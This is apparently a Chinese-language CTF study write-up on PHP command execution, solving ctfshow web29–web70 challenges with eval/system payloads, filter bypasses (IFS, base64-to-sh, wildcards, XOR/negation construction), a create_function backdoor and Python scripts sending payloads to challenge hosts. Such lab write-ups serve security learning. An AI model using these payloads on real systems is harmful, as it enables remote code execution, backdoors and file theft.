命令执行(ctfshow)

介绍

命令执行:一句话就是没有对用户的提交的数据进行过滤,导致通过一些系统命令获取了一些信息。

PHP命令执行的参数

	 	1.system:执行系统命令,会输出
	 	例子:http://www.dvwa.com/cmd/test.php?cmd=||%20ipconfig
		2.exec:exec函数不会将执行后的结果输出,与system功能一样
		3.passthru:用于执行系统命令的,并且会将执行后的结果**进行输出**,主要运用于unix系统
		4.shell_exec:用于执行shell命令并将执行的结果以字符串的形式返回,但是不会将结果进行输出。
		5.popen:popen函数会将执行后的系统命令结果用一个文件指针的形式返回。
		6.proc_popen
		7.特殊符号--反引号"``":也可以用来执行命令

${php代码}

可以看看这个文章

${phpinfo()};

assert

assert函数也可以执行命令
一般调用

//?a=phpinfo()
<?php assert($_POST['a']);?> 

动态调用
两种调用方法在php7.0.29版本之前都测试成功,7.0.29版本之后又动态调用的方法无法成功

//?a=phpinfo()
<?php
$a = 'assert';
$a($_POST['a']);
?>

但是

<?php
//?a=phpinfo()
$a = 'assert';
$a($_POST['a']);
?>
//phpinfo()无法执行成功
<?php
$a = 'assert';
$a(phpinfo());
?>
//成功执行phpinfo()

preg_replace()

可以参考这篇文章

$a = 'phpinfo()';
$b = preg_replace("/abc/e",$b,'abcd');

create_function()

适用范围:PHP 4> = 4.0.1,PHP 5,PHP 7

介绍
string create_function ( string $args , string $code )
第一个参数是函数传参的变量,第二个就是函数体中代码执行的部分。
$a = 'phpinfo();';
$b = create_function(" ",$a);
$b();
构造一些payload
$id=$_GET['id'];
$code = 'echo $name. '.'的编号是'.$id.'; ';
$b = create_function('$name',$code);
//实现
function test($name){
echo $name."编号".$id;
}
$b('z3eyond');

因为create_function后面的第二个参数是可以执行代码的
所以构造rce

?id=1;}phpinfo();/*

代码传入后

function niming($name){
echo $name.编号2;
     }phpinfo();/*
}

例子2

<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = ‘strnatcasecmp’;
$databases=array(1234,4321);
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function($a, $b, $sort_function));

?>

先闭合第二个参数中的函数体,然后再rce
payload

http://localhost/test.php?sort_by='"]);}phpinfo();/*## 标题
实现后门的搭建

本地测试,实现代码

<?php
$func =create_function('',$_POST['cmd']);
$func();
?>

直接访问test.php
POST:cmd=phpinfo();

array_map

array array_map ( callable $callback , array $array1 [, array $... ] )
array_map():第一个参数是回调函数.第二个参数是,需要传入的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

代码

//?a=assert&b=phpinfo();
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);

call_user_func()/call_user_func_array()

call_user_func():
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

// ?a=phpinfo();
call_user_func(assert,$_GET['a']);

call_user_func_array():
mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

//?a=phpinfo();
$array[0] = $_GET['a'];
call_user_func_array("assert",$array); 

array_filter()

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。 

$array[0] = $_GET['a'];
array_filter($array,'assert');

usort()/uasort()

参考链接

bool usort ( array &$array , callable $value_compare_func )
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。

例子1

<?php
// ?1[]=test&1[]=phpinfo();&2=assert
usort(...$_GET);
?>

只有在php5.6以上环境才可使用
关于…$_GET是php5.6引入的新特性。即将数组展开成参数的形式。

例子2:
下面这种写法只在php5.6版本以下可以使用。

// ?1=1+1&2=phpinfo();
usort($_GET,'asse'.'rt');

命令执行的几种常用的符号

  1. |(管道符):前面语句的输出作为后面语句的输入
  2. &:不管前面的语句的对否,后面的语句都要执行
  3. ;:前面的语句和后面的语句依次执行
  4. ||:只有当前面的语句否,后面的语句才会执行
  5. &&:只有当前面的语句真,后面的语句才会执行

命令执行的基本绕过

1.*** 空格过滤***

			1.${IFS}   	替换
			2.$IFS$1  	替换
			3.%20		替换
			4.<<>		替换
			5.%09		替换
  1. 敏感字符过滤
    1. 利用变量拼接
    $a=l;$b=s;$a$b
    拼接起来就是:ls(用来展示文件目录的)
    
    1. 利用base64编码绕过
    echo Y2F0IGZsYWcucGhw|base64 -d|sh
    
    Y2F0IGZsYWcucGhw|base64是cat flag.php的base64的编码
    3. 利用单引号,双引号,反斜线, 1 , 1, 1,@等来绕过
    	1.ca""t fl''ag
    	2.ca\t fl\ag
    	3.c$1at gh$@twf01.txt
    
    4.介绍一个内敛绕过,反引号可以命令执行
    cat `ls`:就是将所有的文件全部执行
    
    1. 利用Linux的环境变量
    1. echo ${PATH}   ///usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    2. echo ${PATH:1:9}//usr/local
    3. ${PATH:5:1}    //l
    4. ${PATH:2:1}    //s
    5. ${PATH:5:1}${PATH:2:1} //拼接后是ls,执行命令
    6. ${PATH:5:1}s           //拼接后是ls,执行命令
    利用的就是对字符串的拼接与截断
    

参考文献

 https://blog.csdn.net/JBlock/article/details/88311388(再看)

ctfshow

web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    } 
}else{
    highlight_file(__FILE__);
}

需要查看flag.php文件
payload1

c=system("cat f*")或者system("cat f???????")。其中cat可以换成rev,tac,nl

知识点

一.关于查看文件内容的命令
1.cat :从开头第一行显示到最后一行
2.tac :从最后一行显示到最后一行
3.rev :开头第一行到最后一行,但是每一行的字符倒转
4.nl:nl的功能和cat -n一样,同样是从第一行输出全部内容,并且把行号显示出来
5.head:用法 head -n 文件名,显示开头前n行
6.tail:跟head一样,显示结尾后n行

二.linux中的通配符
*	匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
?	匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd]	匹配abcd中任何一个字符
[a-z]	表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0

三.绕过字符的过滤
对于linux中
cat ,ca''t,ca\t,ca""t三个的效果是一样的
c=system('ca\t fla\g.php');

四.命令中的几个符号:
&& ---表示且,前面命令错误,就不会执行后面的命令
|| ---表示或,前面的命令正确,就不会执行后面的命令
| ---管道符,表示前面的输出作为后面语句的输入
& ---表示先执行前面语句,后面语句都要执行
;---表示依次执行语句

payload2
c= echo `nl fl’'ag.php`或者echo `fla""g.php`,其中单引号和双引号可以绕过对flag的过滤

一.关于可以执行命令的几个符号:
1. system:执行系统和外部命令,并输出出来
2. ` `:执行命令,但是不会输出出来,如果要输出出来,需要echo `命令部分`
3. exec:执行命令,但是不会输出出来
	string exec ( string $command [, array &$output [, int &$return_var ]] )
	Command:表示要执行的命令
	Output:这是一个数组,用于接收exec函数执行后返回的字符串结果
	return_var:记录exec函数执行后返回的状态
4.passthru:执行系统命令并输出结果
	void passthru( string $command[, int &$return_var] ) 
5.shell_exec():用于执行shell命令并将执行的结果以字符串的形式返回,但是不会将结果进行输出。
	如果输出的话,print(or echo)shell_exec()
6.	popen:popen函数会将执行后的系统命令结果用一个文件指针的形式返回。
	popen(命令,文件打开模式)
7.proc_open:执行一个命令,并且打开用来输入/输出的文件指针。类似于popen函数
popen的利用代码:
<?php
	$cmd = $_GET["cmd"];
	if(isset($cmd)){
		echo "<pre>";
		//将命令写入到文本
		$cmd = $_GET["cmd"].">> 1.txt";
		//执行系统命令
		popen($cmd , "r");
		echo "<pre>";
	//打开并读写文本文件
	$fp = fopen("1.txt" , "r");
	if($fp){
		while(!feof($fp)){
			$content = fgets($fp);
			echo $content;
		}
	}
	fclose($fp);
	}
?>

参考文章
https://songly.blog.csdn.net/article/details/108435956

学到的几个命令
查看用户和账户:whomi,net user&whoami
查看ip地址:ipconfig
读取服务器c盘的文件:dir c:\
查看当前服务器的系统配置信息:systeminfo
查看端口情况:netstat -a,查看所有端口

payload3:利用文件包含中的php伪协议
c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
payload4:
c=eval($_GET[1]);&1=system(‘nl flag.php’);其中get可以换成post方法
payload5:
c=awk’{printf $0}’ flag.php||

awk
awk '{[pattern] action}' {filenames}   # 行匹配语句 awk '' 只能用单引号
内容:
2 this is a test
3 Are you like awk
This's a test
10 There are orange,apple,mongo
# 每行按空格或TAB分割,输出文本中的1、4项
 $ awk '{print $1,$4}' log.txt
 ---------------------------------------------
 2 a
 3 like
 This's
 10 orange,apple,mongo
 # 格式化输出
 $ awk '{printf "%-8s %-10s\n",$1,$4}' log.txt
 ---------------------------------------------
 2        a
 3        like
 This's
 10       orange,apple,mongo 

web30

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

本题过滤了system和php
除了system,还有其他执行函数(见上内容)

exec,shell_exec,passthru,反引号,popen等

输出内容函数:echo和print都可
payload:

c=echo `nl f*`;
与文件包含有关的函数
c=include($_GET[1]);&1=data://text/plain;base64,base4内容;(切记data协议中,后面base64内容不可省略)
c=eval($_GET[1]);&1=echo exec('nl f*');

web31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤了flag,php,可以使用通配符和引号来绕过
system,可以使用其他执行函数
cat,sort可以用其他的查看文件内容的命令

more:一页一页的显示档案内容
less:与 more 类似 
head -n:查看头几行
tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail -n:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看,排序输出
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

绕过空格过滤

在linux 空格可以用以下字符串代替:
%09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等
在使用带有$的内容替换时,要注意转义,因为$在php中有特殊含义
访问根目录
c=echo(`ls\$IFS/`);

补充敏感字符的绕过

1. 使用反斜杠,引号
2. 使用变量,a=l;b=s;$a$b
3. 利用base64编码绕过
root@kali:~# echo 'cat' | base64
Y2F0Cg==
root@kali:~# `echo 'Y2F0Cg==' | base64 -d` test.txt
hello world!
root@kali:~#
4. 利用未初始化的变量
cat$x /etc/passwd

payload

c=echo(`nl%09f*`);
c=echo(`strings%09f*`);
c=echo(`strings\$IFS\$9f*`);其中必须加转义字符
c=echo(`nl%09fl[abc]*`);利用了两种通配符
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
\x表示16进制编码,\u表示unicode编码

linux中的strings字符

strings命令 在对象文件或二进制文件中查找可打印的字符串。字符串是4个或更多可打印字符的任意序列,以换行符或空字符结束。 strings命令对识别随机对象文件很有用。
列出ls中所有的ASCII文本:
strings /bin/ls
列出ls中所有的ASCII文本:
cat /bin/ls strings
查找ls中包含libc的字符串,不区分大小写:
strings /bin/ls | grep -i libc

grep命令
Linux grep 命令用于查找文件里符合条件的字符串。

借鉴y4师傅的骚payload
利用php中的文件操作函数

payload:
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));

分析函数
1. _FILE_:文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件
名。自 PHP 4.0.2 起,__FILE__ 总是包含一个绝对路径(如果是符号连接,则是解析
后的绝对路径),而在此之前的版本有时会包含一个相对路径。

2. dirname():返回路径中的目录部分
dirname(string $path, int $levels = 1): string
path表示文件路径;levels表示要向上的父目录数量,整型,必须大于 0。
返回值:返回 path 的父目录。 如果在 path 中没有斜线,则返回一个点('.'),表示当前目录。
    basename() - 返回路径中的文件名部分
    pathinfo() - 返回文件路径的信息
    realpath() - 返回规范化的绝对路径名

3.scandir():函数返回指定目录中的文件和目录的数组。
scandir(directory,sorting_order,context);
第一个参数是指定的目录,第二个参数是指定升序还是降序,默认是升序,1表示降序
第三个参数,可选,表示规定目录句柄的环境。
返回值:文件和目录的数组。

4.array_reverse():返回单元顺序相反的数组 
array_reverse(array $array, bool $preserve_keys = false)
array:输入的数组。
preserve_keys:如果设置为 true 会保留数字的键。 非数字的键则不受这个设置的影响,总是会被保留。

5.next():将数组中的内部指针向前移动一位,也就是将数组序号向前移动一位。
	补充:
	current() - 返回数组中的当前值
    end() - 将数组的内部指针指向最后一个单元
    prev() - 将数组的内部指针倒回一位
    reset() - 将数组的内部指针指向第一个单元
    each() - 返回数组中当前的键/值对并将数组指针向前移动一步

6.highlight_file()show_source():都是可以将文件的内容展示出来。
7.print_r():可以查看内容
8.pos():返回数组中当前元素的值,在每个数组的内部都有一个内部指针指着数组的当前元素,初始的时候是指向数组的第一个元素
##拓展
9.current():返回数组中当前元素的值
10.next():将内部指针指向数组中的下一个元素,并输出。
11.prev():将内部指针指向数组中的上一个元素,并输出。
12.end():将内部指针指向数组中的最后一个元素,并输出。
13.reset():将内部指针指向数组中的第一个元素,并输出。
14.ench():返回当前元素的键名和键值,并将内部指针向前移动,但是在PHP 7.2.0被废除了。
15.localeconv() 函数返回一个包含本地数字及货币格式信息的数组。

web32

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

这个过滤了括号,不需要括号的一些函数,include,echo,但是echo被过滤了,只有include,试了一下c=include"/etc/passwd"?>,有回显了,说明可用。其中
/etc/passwd,保存了linux下用户的全部信息。?>可以绕过分号;的过滤。因为$可用,可用$_GET[1],文件不可显示,这可以使用php伪协议。
payload

c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>
其中GET也可以变成POST
但是我试了下传马,不得行。

web33到36

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

多了个双引号也过滤了
payload

c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>
c=include$_GET[a]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web37

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }  
}else{
    highlight_file(__FILE__);
}

基本的文件包含,过滤flag,不能用php://filter
payload:

php://filter/read=convert.base64-encode/resource=flag.php

web38

payload

web39

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }   
}else{
    highlight_file(__FILE__);
}

发现多了个后缀,试了一下data://协议,发现.php没有用,payload如上

web40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }     
}else{
    highlight_file(__FILE__);
} 

符号基本都过滤完了,发现还有个_和英文括号没有过滤
想到了y4师傅的骚payload,利用读取文件和数组构造

c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
localeconv()pos(),可以读取第一个元素,点号,scandir()点号,得到目录下的文件,然后array_reverse(),数组逆序,next()指针下一位,highlight_file()show_source()文件,得到flag

c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

羽师傅准备用session来做,但是没成功
利用给session_id(cookie)中写入命令,然后对c赋值,c=session_start();system(session_id());

https://blog.csdn.net/miuzzx/article/details/108415301?spm=1001.2014.3001.5501

引发了我对session的思考

session是什么,作用是什么?
当用户访问到一个服务器,如果服务器启用Session,服务器就要为该用户创建一个SESSION,在创建这个SESSION的时候,服务器首先检查这个用户发来的请求里是否包含
了一个SESSION ID,如果包含了一个SESSION ID则说明之前该用户已经登陆过并为此用
户创建过SESSION,那服务器就按照这个SESSION ID把这个SESSION在服务器的内存中
查找出来(如果查找不到,就有可能为他新创建一个),如果客户端请求里不包含有SESSION 
ID,则为该客户端创建一个SESSION并生成一个与此SESSION相关的SESSION ID。这个
SESSION ID是唯一的、不重复的、不容易找到规律的字符串,这个SESSION ID将被在本
次响应中返回到客户端保存,而保存这个SESSION ID的正是COOKIE,这样在交互过程中
浏览器可以自动的按照规则把这个标识发送给服务器

会话又是什么?
会话就是session,主要为了暂时存储用户的信息,提高浏览器跟服务器交互的效率,避免重复。

web41

代码

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

过滤了数字和字母,^,~,$
让我们想到了一篇无字母和数字的命令执行构造
不能使用异或,取反,自增构造,所以我们使用或来构造。

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date:   2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}

//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}

//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";

        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }

                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }

        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }
}
generate(2,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');

得到文件后,我们用python去跑
脚本如下

# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib



def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("or_rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
    url='http://01eb22ec-703b-4a19-af1f-f0933f7456e9.challenge.ctf.show:8080/'
    data = {
        'c': urllib.parse.unquote(param)
    }
    r = requests.post(url, data=data)
    print("\n[*] result:\n" + r.text)

最后执行命令,就可以得到flag

web42

代码

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

">/dev/null 2>&1"代表让所有的输出流都丢弃到空设备中,所有不能让后面执行
我们将后面截断。用ls;%0a(%0a表示回车符),%26(不能使用&,因为使用&,就相当于get传两个参数,没有达到截断),||(前面ls执行,正确了后面就不会执行)

web43

过滤了cat
使用 nl%20flag.php%0a

web44

过滤了flag,使用通配符,*,?,[a-z],fla""g等

web45

过滤了空格
我们使用%09可以代替空格
或者使用内联执行
c=echo`nl$IFS*`%0a

web46

过滤数字
c=nl%09fla\g.php%0a

web47-48

过滤了命令
c=nl<fla’'g.php||

web49

多过滤了几个命令

将cat变为1,nl,tac,vi,uniq

web50

%09被过滤了
c=nl<fla\g.php||

web51

%被过滤了,我们使用
c=nl<fla\g.php||

web52

一些代替空格被过滤了
我们使用
c=nl$IFS\fla\g.php||

web53

payload

payload1:c''at${IFS}fla''g.p''hp
payload2:c=nl$IFS\fla\g.php

web54

代码:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤了很多,而且不能用单引号和双引号,或者斜杠来分割
payload

c=/bin/c??${IFS}????????
因为我们需要cat,但是只能c??来表示,但是这样必须给我bin的路径。
c=grep${IFS}show${IFS}fla?.php
grep函数,寻找文件中有与字符串匹配的内容,并返回匹配到的

c=paste${IFS}fla?.php
paste拼接文件并返回文件内容
http://c.biancheng.net/linux/paste.html

关于bin

bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls

web55

代码

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

首先第一步,看到过滤了字母,我们想到了使用取反,异或,取或,自增的方式。
但有一种简单的,利用通配符
因为一些执行命令都是在bin下面,而命令发挥作用需要文件路径支持。
构造payload

?c=/???/????64 ????.???               就是?c=/bin/base64 flag.php

我想了一想,为什么不能用三个问号表示cat
因为???表示的不一定是cat,所以就不一定执行得出来

web56

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

首先使用点号.来执行命令,跟source命令相同的

参考:source命令

使用通配符来构造文件路径。

参考:

[p神的文章](无字母数字webshell之提高篇 | 离别歌 (leavesongs.com))

进阶

payload

c=.+/???/????????[@-[],其中+表示空格,.执行命令。[@-[]是定位字母

脚本跑

import requests

while True:
    url = "http://6c925e5e-f607-4a59-9bbd-2302926e1239.challenge.ctf.show:8080/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
    if r.text.find("ctfshow") >0:
        print(r.text)
        break

web57

代码显示

//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

这道题禁用了通配符和字母数字

我们可以使用$()来构造

$(()) 代表做一次运算,因为里面为空,也表示值为0
$((~$(()))) 对0作取反运算,值为-1
$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(()))))))) 再对-2做一次取反得到1,所以值为1

如果对取反不了解可以百度一下,这里给个容易记得式子,如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1
参考:
取反操作https://www.runoob.com/python3/python3-basic-operators.html
$()构造命令执行:https://www.cnblogs.com/chenpython123/p/11052276.html

所有我们只需要构造出-37,然后取反就可以得到结果。

data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)

payload

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload比较多:
高亮显示

highlight_file("flag.php");
show_source("flag.php");

单一函数读取文件

echo file_get_contents("flag.php");
file_get_contents(),以字符串的形式从文件中读取内容,file_put_contents(),从文件中写入内容,可以传马进去,文件上传就是用的这个函数

readfile("flag.php");
输出文件内容

var_dump(file("flag.php"));
file协议:
把整个文件读入一个数组中
file(string $filename, int $flags = 0, resource $context = ?): array
filename文件的路径。
返回数组形式的文件内容。数组的每个元素对应于文件中的一行(结尾会附加换行符)。 失败时,file() 返回 false

print_r(php_strip_whitespace("flag.php"));
php_strip_whitespace()将注释空白过滤后再返回文件内容
利用文件指针的形式去读取文件内容
fread():
读取文件(可安全用于二进制文件),返回文件的字符串内容,失败时返回false
fread(fopen($filename,"r"), $size);

fgets():
从文件指针中读取一行
print_r(fgets(fopen($filename, "r"))); // 读取一行

fgetc():
fgetc — 从文件指针中读取字符
fgetss()print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记

fgetcsv():
从文件指针中读入一行并解析 CSV 字段
print_r(fgetcsv(fopen($filename,"r"), $size));

fpassthru():
输出文件指针处的所有剩余数据。
该函数将给定的文件指针从当前的位置读取到 EOF,并把结果写到输出缓冲区。
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF

fscanf() — 从文件中格式化输入
print_r(fscanf(fopen("flag", "r"),"%s"))

fopen打开文件指针,popen打开文件指针
print_r(fread(popen("cat flag", "r"), $size));

读文件直接写代码的形式

feof判断文件指针是否结束。
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}

其他payload

c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };读目录
c=print_r(scandir(dirname('__FILE__')));读目录
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}读目录

DirectoryIterator是一个读取文件系统目录的接口
glob:// 寻找与模式匹配的文件路径
后面的/*相当于根目录下的通配符匹配文件。

web59

代码没变

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

应该是禁用一些函数

payload

//paylaod汇总
c=highlight_file("flag.php");
c=var_dump(file("flag.php")); 
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);

web60

代码一样的

但是,readfile被禁用了

payload

c=show_source("flag.php");
c=highlight_file("flag.php");
c=$a=fopen("flag.php","r");while(!feof($a)){$line=fgetc($a);echo $line;};
c=$a=fopen("flag.php","r");while(!feof($a)){$line=fgetcsv($a);var_dump($line);};

其中c= a = f o p e n ( " f l a g . p h p " , " r " ) ; w h i l e ( ! f e o f ( a=fopen("flag.php","r");while(!feof( a=fopen("flag.php","r");while(!feof(a)){ l i n e = f g e t s ( line=fgets( line=fgets(a);echo $line;};不行,被禁用了。

补充一点,print不能输出数组,可以用print_r()和var_dump()

新姿势:

这个姿势比较骚
因为直接url/flag.php,看不到php文件
我们使用rename和copy重新命名
//用法:
copy("flag.php","flag.txt");             //过60
rename("flag.php","flag.txt");     

web61-65

代码一样,禁用函数不同

c=$a=opendir("./");while(($file=readdir($a))!=false){echo show_source($file);};
c=highlight_file(next(array_reverse(scandir(dirname("__FILE__")))));
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));
current():返回数组当前的值,默认是数组的第一个值。
localeconv():返回一包含本地数字及货币格式信息的数组。数组中第一个值是点号。
结合current()后,得到目录。

web66-67

还是代码一样,禁用函数不同。

首先扫描根目录c=vard_dump(scandir("/"));

发现不是flag.php,是flag.txt。

payload

c=highlight_file("/flag.txt");
c=include('/flag.txt');
c=require('/flag.txt');

web68-70

先扫描目录

